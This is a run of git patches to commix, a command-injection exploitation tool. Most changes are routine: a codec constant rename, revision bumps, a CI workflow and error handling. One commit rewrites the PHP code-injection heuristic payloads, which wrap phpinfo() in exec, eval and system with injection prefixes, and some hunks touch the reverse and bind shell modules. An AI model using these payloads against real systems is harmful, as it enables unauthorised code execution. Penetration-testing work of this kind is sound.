@@ def http_error_405(self, req, fp, code, msg, headers): try: settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') opener.addheaders.append(("Authorization", "Basic " + b64_string + "")) elif menu.options.auth_type == "digest": try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 253ea51750..9a5d0a1cad 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -45,7 +45,7 @@ def estimate_response_time(url, timesec): sys.stdout.flush() # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -359,7 +359,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -487,7 +487,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -619,7 +619,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -754,7 +754,7 @@ def inject_host(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -888,7 +888,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 452d3aaf8e..97b5f02003 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -59,7 +59,7 @@ def do_check(): if check_privoxy_proxy: try: - check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.UNICODE_ENCODING) + check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) if not "You are not using Tor" in check_tor_page: sys.stdout.write(settings.SUCCESS_STATUS + "\n") diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 813bf6584b..8a65d0dfeb 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -434,7 +434,7 @@ def other_bind_shells(separator): with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() + #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() print(settings.SINGLE_WHITESPACE) # Remove the ouput file. diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 981d36c80b..ecd1695ced 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -476,7 +476,7 @@ def other_reverse_shells(separator): with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() + #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() print(settings.SINGLE_WHITESPACE) # Remove the ouput file. diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 6fcb508dd7..873e07da92 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -39,7 +39,7 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) payload = base64.b64encode(payload.encode()) - payload = payload.decode(settings.UNICODE_ENCODING) + payload = payload.decode(settings.DEFAULT_CODEC) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 29a2a13eed..a0880136dc 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -39,7 +39,7 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) payload = hexencode(payload) - payload = payload.decode(settings.UNICODE_ENCODING) + payload = payload.decode(settings.DEFAULT_CODEC) return payload # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index ed9f1cc96f..c505a3d1fe 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -72,7 +72,7 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) - _ = _.encode(settings.UNICODE_ENCODING) + _ = _.encode(settings.DEFAULT_CODEC) bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" @@ -124,14 +124,14 @@ def create_github_issue(err_msg, exc_msg): data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", data = json.dumps(data).encode(), - headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.UNICODE_ENCODING)).decode()} + headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() except Exception as err: content = None - issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") + issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" print(settings.print_info_msg(info_msg)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 325538e5a1..529ccaaf66 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -61,7 +61,7 @@ def request(url): try: # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/utils/logs.py b/src/utils/logs.py index c9f4452e43..f7a9a34275 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -174,7 +174,7 @@ def logs_notification(filename): def log_traffic(header): output_file = open(menu.options.traffic_file, "a") if type(header) is bytes: - header = header.decode(settings.UNICODE_ENCODING) + header = header.decode(settings.DEFAULT_CODEC) output_file.write(header) output_file.close() diff --git a/src/utils/menu.py b/src/utils/menu.py index 237b7c485c..ab554450e9 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -114,11 +114,17 @@ def banner(): default=False, help="Skip heuristic detection for code injection.") -general.add_option("--encoding", +# general.add_option("--encoding", +# action="store", +# dest="encoding", +# default=None, +# help="Force character encoding used for data retrieval (e.g. GBK).") + +general.add_option("--codec", action="store", - dest="encoding", + dest="codec", default=None, - help="Force character encoding used for data retrieval (e.g. GBK).") + help="Force codec for character encoding (e.g. 'ascii').") general.add_option("--charset", action="store", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index b0d8411aba..3027f59de3 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -353,14 +353,14 @@ def store_cmd(url, cmd, shell, vuln_parameter): if settings.TESTABLE_PARAMETER: conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ str(vuln_parameter))) else: conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ str(settings.HTTP_HEADER))) conn.commit() conn.close() @@ -380,11 +380,11 @@ def export_stored_cmd(url, cmd, vuln_parameter): conn = sqlite3.connect(settings.SESSION_FILE) if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ "vuln_parameter= '" + vuln_parameter + "';").fetchall() else: cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() conn.commit() @@ -393,7 +393,7 @@ def export_stored_cmd(url, cmd, vuln_parameter): for session in cursor: output = base64.b64decode(session[0]) try: - return output.decode(settings.UNICODE_ENCODING) + return output.decode(settings.DEFAULT_CODEC) except AttributeError: return output else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 56d38bf894..ce38c88cb7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -184,7 +184,7 @@ def sys_argv_errors(): _reload_module(sys) try: # Fix for Python 2.7 - sys.setdefaultencoding(UNICODE_ENCODING) + sys.setdefaultencoding(DEFAULT_CODEC) except AttributeError: pass for i in xrange(len(sys.argv)): @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -593,14 +593,14 @@ def sys_argv_errors(): # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf8" +DEFAULT_CODEC = "utf8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: - DEFAULT_PAGE_ENCODING = UNICODE_ENCODING + DEFAULT_PAGE_ENCODING = DEFAULT_CODEC # Character Sets List. # A complete list of the standard encodings Python supports. From 24c54a20774935f90f9f4b759ed28f4ec534f08c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Oct 2021 07:52:53 +0300 Subject: [PATCH 008/560] Minor update --- src/utils/settings.py | 2 +- src/utils/version.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index ce38c88cb7..4e2a6c0b79 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/version.py b/src/utils/version.py index 0dd0a1da39..03a6b475cf 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -28,9 +28,9 @@ def show_version(): """ def python_version(): PYTHON_VERSION = sys.version.split()[0] - if PYTHON_VERSION >= "3" or PYTHON_VERSION < "2.7": - warn_msg = "Python version " - warn_msg += PYTHON_VERSION + " detected. " - warn_msg += "You are advised to use Python version 2.7.x." + if PYTHON_VERSION.split(".")[0] != 3: + warn_msg = "Deprecated Python version detected: " + warn_msg += PYTHON_VERSION + ". " + warn_msg += "You are advised to use Python version 3." print("\n" + settings.print_bold_warning_msg(warn_msg)) #raise SystemExit() From ce78185374d467e35fe93ad97333a82c9a989fc9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Oct 2021 09:02:39 +0300 Subject: [PATCH 009/560] Fixes https://github.com/commixproject/commix/issues/696 --- src/core/injections/controller/controller.py | 11 +++++++---- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 88bde84ab9..6b0b69ca4c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -635,10 +635,13 @@ def basic_level_checks(): if menu.options.auth_url and menu.options.auth_data: # Do the authentication process. authentication.authentication_process() - - # Check if authentication page is the same with the next (injection) URL - if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): - err_msg = "It seems that the authentication procedure has failed." + try: + # Check if authentication page is the same with the next (injection) URL + if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): + err_msg = "It seems that the authentication procedure has failed." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.auth_url or menu.options.auth_data: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e2a6c0b79..dda03cd20b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 30c6dc9ab3a438bdc81aede707bb395f96fe9484 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Oct 2021 09:49:41 +0300 Subject: [PATCH 010/560] Improvements regarding dynamic code evaluation heuristic check --- doc/CHANGELOG.md | 1 + src/utils/settings.py | 30 ++++++++++++++++++++---------- 2 files changed, 21 insertions(+), 10 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 002a5b5f03..5416217ce1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. ## Version 3.3 (2021-09-13) diff --git a/src/utils/settings.py b/src/utils/settings.py index dda03cd20b..f997a43e50 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -256,13 +256,23 @@ def sys_argv_errors(): VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' #Basic heuristic checks for code injection warnings or... phpinfo page ;) -PHPINFO_PAYLOAD = "eval(phpinfo())" -PHPINFO_CHECK_PAYLOADS = ["print(" + PHPINFO_PAYLOAD + ")", - "test)'}" + PHPINFO_PAYLOAD + "'#", - "'." + PHPINFO_PAYLOAD + ".'", - "{${" + PHPINFO_PAYLOAD + "}}", - "\\\\/{${" + PHPINFO_PAYLOAD + "}}\\/\\" - ] +PHPINFO_PAYLOAD = "phpinfo()" + +PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", + "exec(" + PHPINFO_PAYLOAD + ")", + "eval(" + PHPINFO_PAYLOAD + ")", + "system(" + PHPINFO_PAYLOAD + ")" +] + +PHPINFO_CHECK_PAYLOADS = [ + [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], + [")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS], + ["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS], + ["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS], + ["\\\\/{${" + x + "}}\\/\\" for x in PHP_EXEC_FUNCTIONS] +] + +PHPINFO_CHECK_PAYLOADS = [x for payload in PHPINFO_CHECK_PAYLOADS for x in payload] # Executed phpinfo() IDENTIFIED_PHPINFO = False @@ -270,7 +280,7 @@ def sys_argv_errors(): # Code injection warnings IDENTIFIED_WARNINGS = False -CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort", "assert", "preg_replace"] +CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False @@ -371,7 +381,7 @@ def sys_argv_errors(): EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] # The code injection prefixes. -EVAL_PREFIXES = [".", "", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] +EVAL_PREFIXES = [".", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] # The code injection separators. EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"] From 64e7e74d4c674d5ce6d658487e92acb2f33072eb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Oct 2021 09:13:08 +0300 Subject: [PATCH 011/560] Let's get started with GitHub actions --- .github/workflows/test.yml | 21 +++++++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/test.yml diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000000..373fbbb21a --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,21 @@ +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ] + steps: + - uses: actions/checkout@v2 + - name: Set up Python + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Basic import test + run: python -c "import commix" \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index f997a43e50..c768479eda 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From b77d46409ad3e4814672519add5cca3d650e627b Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Fri, 22 Oct 2021 09:52:23 +0300 Subject: [PATCH 012/560] Rename test.yml to builds.yml --- .github/workflows/{test.yml => builds.yml} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename .github/workflows/{test.yml => builds.yml} (92%) diff --git a/.github/workflows/test.yml b/.github/workflows/builds.yml similarity index 92% rename from .github/workflows/test.yml rename to .github/workflows/builds.yml index 373fbbb21a..f4f0ee6120 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/builds.yml @@ -18,4 +18,4 @@ jobs: with: python-version: ${{ matrix.python-version }} - name: Basic import test - run: python -c "import commix" \ No newline at end of file + run: python -c "import commix" From 146251c29e75aff09531b8f48bb7ac5546d3c33a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Oct 2021 09:57:02 +0300 Subject: [PATCH 013/560] Minor update regarding README.md --- .github/workflows/{test.yml => builds.yml} | 0 README.md | 2 +- doc/translations/README-gr-GR.md | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename .github/workflows/{test.yml => builds.yml} (100%) diff --git a/.github/workflows/test.yml b/.github/workflows/builds.yml similarity index 100% rename from .github/workflows/test.yml rename to .github/workflows/builds.yml diff --git a/README.md b/README.md index 093f35e2c7..cb6625b562 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@

CommixProject

- Build Status + Builds Tests Python 2.6|2.7|3.x GPLv3 License GitHub closed issues diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 2332a6b154..b327a08b07 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,7 +1,7 @@

CommixProject

- Build Status + Builds Tests Python 2.6|2.7|3.x GPLv3 License GitHub closed issues From 6274e18c504d476f53c4addda2d6c655ab5d3fa6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Oct 2021 09:26:36 +0300 Subject: [PATCH 014/560] Minor update --- src/utils/settings.py | 2 +- src/utils/version.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index c768479eda..bed3cd310c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/version.py b/src/utils/version.py index 03a6b475cf..b3497d8eb6 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -28,7 +28,7 @@ def show_version(): """ def python_version(): PYTHON_VERSION = sys.version.split()[0] - if PYTHON_VERSION.split(".")[0] != 3: + if PYTHON_VERSION.split(".")[0] != "3": warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to use Python version 3." From afa82e7897a9a296fad3e50ea02723a04433e2f4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Oct 2021 07:54:55 +0300 Subject: [PATCH 015/560] Minor refactoring --- src/thirdparty/beautifulsoup/__init__.py | 82 ++++++++++++++++++++++-- src/thirdparty/flatten_json/__init__.py | 9 +++ src/utils/settings.py | 2 +- 3 files changed, 85 insertions(+), 8 deletions(-) diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py index b50e6972c9..81b1ece759 100644 --- a/src/thirdparty/beautifulsoup/__init__.py +++ b/src/thirdparty/beautifulsoup/__init__.py @@ -2,15 +2,83 @@ # encoding: UTF-8 """ -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Beautiful Soup +Elixir and Tonic +"The Screen-Scraper's Friend" +http://www.crummy.com/software/BeautifulSoup/ -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. +Beautiful Soup parses a (possibly invalid) XML or HTML document into a +tree representation. It provides methods and Pythonic idioms that make +it easy to navigate, search, and modify the tree. + +A well-formed XML/HTML document yields a well-formed data +structure. An ill-formed XML/HTML document yields a correspondingly +ill-formed data structure. If your document is only locally +well-formed, you can use this library to find and process the +well-formed part of it. + +Beautiful Soup works with Python 2.2 and up. It has no external +dependencies, but you'll have more success at converting data to UTF-8 +if you also install these three packages: + +* chardet, for auto-detecting character encodings + http://chardet.feedparser.org/ +* cjkcodecs and iconv_codec, which add more encodings to the ones supported + by stock Python. + http://cjkpython.i18n.org/ + +Beautiful Soup defines classes for two main parsing strategies: + + * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific + language that kind of looks like XML. + + * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid + or invalid. This class has web browser-like heuristics for + obtaining a sensible parse tree in the face of common HTML errors. + +Beautiful Soup also defines a class (UnicodeDammit) for autodetecting +the encoding of an HTML or XML document, and converting it to +Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. + +For more than you ever wanted to know about Beautiful Soup, see the +documentation: +http://www.crummy.com/software/BeautifulSoup/documentation.html + +Here, have some legalese: + +Copyright (c) 2004-2010, Leonard Richardson + +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of the the Beautiful Soup Consortium and All + Night Kosher Bakery nor the names of its contributors may be + used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. -For more see the file 'readme/COPYING' for copying permission. """ pass \ No newline at end of file diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py index e69de29bb2..e74cd45430 100644 --- a/src/thirdparty/flatten_json/__init__.py +++ b/src/thirdparty/flatten_json/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +Flattens JSON objects in Python. +flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. +""" + +pass \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index bed3cd310c..3b8c691fbc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From bd9407e9a4e8c92e0081fff47be47b3b021f1758 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Oct 2021 09:03:51 +0300 Subject: [PATCH 016/560] Minor refactoring --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index c505a3d1fe..9f6e1dd73c 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -178,7 +178,7 @@ def unhandled_exception(): print(settings.print_critical_msg(err_msg)) raise SystemExit() - elif "MemoryError" in exc_msg: + elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 3b8c691fbc..5b83ffa606 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fe49d33fe36b778b8cf7d2febd6ed735b4fac109 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Oct 2021 09:47:14 +0300 Subject: [PATCH 017/560] Fixes https://github.com/commixproject/commix/issues/697 --- src/utils/common.py | 14 +++++++------- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 9f6e1dd73c..6ee6d068b6 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -164,13 +164,6 @@ def unhandled_exception(): print(settings.print_critical_msg(err_msg)) raise SystemExit() - elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + 